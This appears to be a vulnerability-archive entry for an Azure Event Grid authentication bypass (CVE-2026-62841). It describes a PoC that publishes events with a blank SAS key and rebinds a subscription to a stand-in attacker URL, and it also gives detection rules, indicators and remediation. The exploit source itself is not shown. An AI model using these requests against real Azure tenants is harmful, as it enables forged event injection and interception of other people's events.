Azure Event Grid — Improper Authentication Enabling Unauthenticated Event Publish and Subscription Rebind (CVE-2026-62841)
Published: 2026-11-25 • Researcher: cveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)
- Severity
- Critical
- CVE
- CVE-2026-62841
- Category
- cloud
- Affected product
- Microsoft Azure Event Grid (hosted service: topics, event subscriptions, webhook delivery)
- Affected versions
- Azure Event Grid hosted service. NVD records microsoft/azure_event_grid with no version ranges. Upstream reports a service-side fix deployed 2026-11-19.
- Disclosed
- 2026-11-25
- Patch status
- Unverified
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-62841
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62841
- https://github.com/cveForge/CVE-2026-62841
- https://learn.microsoft.com/en-us/azure/event-grid/security-authentication
- https://cwe.mitre.org/data/definitions/287.html
- https://cwe.mitre.org/data/definitions/306.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-11-24 |
| Author / Researcher | cveForge (PoC publisher); Microsoft Security Response Center (vendor advisory) |
| CVE / Advisory | CVE-2026-62841 |
| Category | cloud |
| Severity | Critical |
| CVSS Score | 10.0 (NVD base score; vector not provided in the worklist — see references) |
| Status | PoC |
| Tags | Azure, Event Grid, cloud, authentication-bypass, unauthenticated, privilege-escalation, webhook, CWE-287, network, PoC |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Microsoft Azure Event Grid (hosted service: topics, event subscriptions, webhook delivery) |
| Versions Affected | Azure Event Grid hosted service. NVD records microsoft/azure_event_grid with no version ranges. Upstream reports a service-side fix deployed 2026-11-19. |
| Language / Platform | Cloud service (Microsoft Azure); PoC written in Python 3 using only the standard library |
| Authentication Required | No |
| Network Access Required | Yes — remote HTTPS endpoint |
Summary
CVE-2026-62841 is an improper authentication flaw in Azure Event Grid that lets an unauthenticated attacker publish events to private topics. The PoC also forges a webhook ACK to rebind a subscription to an attacker URL. Microsoft patched it on 2026-11-19.
Vulnerability Details
Root Cause
NVD attributes CVE-2026-62841 to improper authentication (CWE-287); the upstream README describes the same behavior as CWE-306, missing authentication for critical function. Per the upstream analysis, the service accepted publishes to a private topic without validating a Shared Access Signature key and accepted a webhook subscription validation acknowledgment without first establishing ownership of the subscription. The exact server-side defect was not published by Microsoft before this archive entry was written, so the mechanism above is the upstream PoC’s stated model rather than an independently verified root cause.
Attack Vector
Remote, unauthenticated HTTPS requests to a topic endpoint. The PoC first issues an OPTIONS probe, then POSTs an event array to /api/events?api-version=2024-01-01 with an intentionally blank aeg-sas-key header. Stage 2 POSTs to /eventSubscriptions/{subscription-id}/validate?api-version=2024-01-01 with an all-zero validationCode and an attacker-controlled endpointUrl. No credentials, user interaction, or prior access are required in the upstream model.
Impact
An attacker can inject forged events into a private topic, which are then delivered to every subscriber, and can attempt to rebind a subscription’s delivery endpoint to an attacker-controlled webhook so future events are delivered to the attacker. The upstream README describes this as full privilege escalation on the subscription resource and NVD describes privilege elevation over a network. The archive did not verify the impact against a live tenant.
Environment / Lab Setup
OS: Linux, macOS, or Windows with Python 3
Target: Microsoft Azure Event Grid topic (hosted service), e.g.
https://<topic>.<region>.eventgrid.azure.net
Attacker: Python 3.8+ (standard library only: argparse, json, time,
urllib)
Tools: python3; curl optional
Lab note: No local emulator is available. Testing needs an Azure Event
Grid topic and subscription that you own, or written
authorization to assess.Setup Steps
| |
Run only against infrastructure you own or are explicitly authorized to test.
Proof of Concept
Step-by-Step Reproduction
Probe — Send OPTIONS with an Origin header and Access-Control-Request-Method: POST. A 200 or 204 without credentials is interpreted by the PoC as authentication not being enforced; this is a heuristic and can produce false positives.
Shell script1python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage probeStage 1 — unauthenticated publish — POST an event array to the topic’s /api/events endpoint with a blank aeg-sas-key. The PoC treats 200, 201, or 202 as acceptance and 401 as patched.
Shell script1python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net --stage 1 --topic my-topicStage 2 — forged ACK rebind — POST an all-zero validationCode plus an attacker endpointUrl to /eventSubscriptions/{id}/validate. The PoC treats HTTP 200 as a successful rebind.
Shell script1 2python3 poc.py --endpoint https://YOUR-TOPIC.eventgrid.azure.net \ --sub-id <subscription-id> --attacker https://attacker.example.com/hook --stage 2Verify — Confirm whether the injected event reached subscribers and whether the subscription endpoint now points at the attacker URL. The archive did not perform this step.
Exploit Code
See
poc.pyin this folder. The archived copy keeps the upstream code with an added authorized-research header.
| |
Expected Output
From the upstream README (not reproduced or independently verified here):
| |
Note: as shipped, Stage 1 builds its payload with a CVE variable that is never defined in poc.py, so –stage 1 or –stage full raises NameError before any request is sent. The probe stage and a direct –stage 2 run are not affected. See Notes.
Detection & Indicators of Compromise
OPTIONS https://<topic>.eventgrid.azure.net/ Origin: <unexpected> -> 200/204
POST https://<topic>.eventgrid.azure.net/api/events?api-version=2024-01-01
aeg-sas-key: (empty or absent) -> 200/201/202
POST https://<topic>.eventgrid.azure.net/eventSubscriptions/<id>/validate
{"validationCode":"00000000-0000-0000-0000-000000000000",
"endpointUrl":"https://<external-host>/..."} -> 200- Topic publishes that succeed with an empty or absent aeg-sas-key, especially from unfamiliar source addresses.
- Subscription endpoint changes to an unknown webhook host, or validation calls carrying the all-zero UUID.
- Events delivered to a webhook outside the expected inventory, or subscriber reports of events they did not expect.
- Azure Activity and diagnostic logs showing subscription writes or topic publishes by unexpected or anonymous principals.
SIEM / IDS rule (example):
WHEN request.uri MATCHES "/api/events"
AND header["aeg-sas-key"] IS EMPTY
AND response.status IN {200, 201, 202}
THEN alert "Azure Event Grid unauthenticated publish"
WHEN request.uri MATCHES "/eventSubscriptions/*/validate"
AND body CONTAINS "00000000-0000-0000-0000-000000000000"
AND body CONTAINS "endpointUrl"
THEN alert "Azure Event Grid subscription rebind attempt"Remediation
| Action | Detail |
|---|---|
| Patch | Microsoft deployed a service-side fix on 2026-11-19 per the upstream README; there is no customer version to upgrade. Confirm tenant status with the MSRC update guide. |
| Workaround | Enforce SAS key or Microsoft Entra ID token authentication on every topic and subscription, rotate SAS keys, and remove anonymous access. |
| Config Hardening | Restrict topic access with private endpoints or firewall rules, maintain an allowlist of webhook endpoints, and alert on subscription endpoint changes and blank-key publishes. |
References
Notes
Auto-ingested from https://github.com/cveForge/CVE-2026-62841 on 2026-11-25.
Review verdict: ingested as a limited PoC. The repository contains actual exploit request code — an unauthenticated publish (Stage 1) and a forged subscription validation ACK (Stage 2) — so it is not merely a detector, even though it also ships a passive OPTIONS probe. Status is PoC rather than Weaponized because no end-to-end run is demonstrated, Stage 2 needs a valid subscription ID, and no lab evidence is provided. Source limitations: poc.py references an undefined CVE symbol when building the Stage 1 payload, so Stage 1 and the full chain raise NameError before sending anything; upstream conflates CWE-306 with the NVD-assigned CWE-287; the README calls Stage 2 a null-UUID bypass while a code comment describes an expired-session race window; and the claimed expected output was not reproduced or independently verified. No local reproduction is possible because the target is a hosted Azure service. The repository has no LICENSE file; sources are archived with attribution for authorized research only. Not listed in CISA KEV; worklist EPSS is 1.36 percent (0.01357). The CVSS vector was not available in the worklist; see references.
| |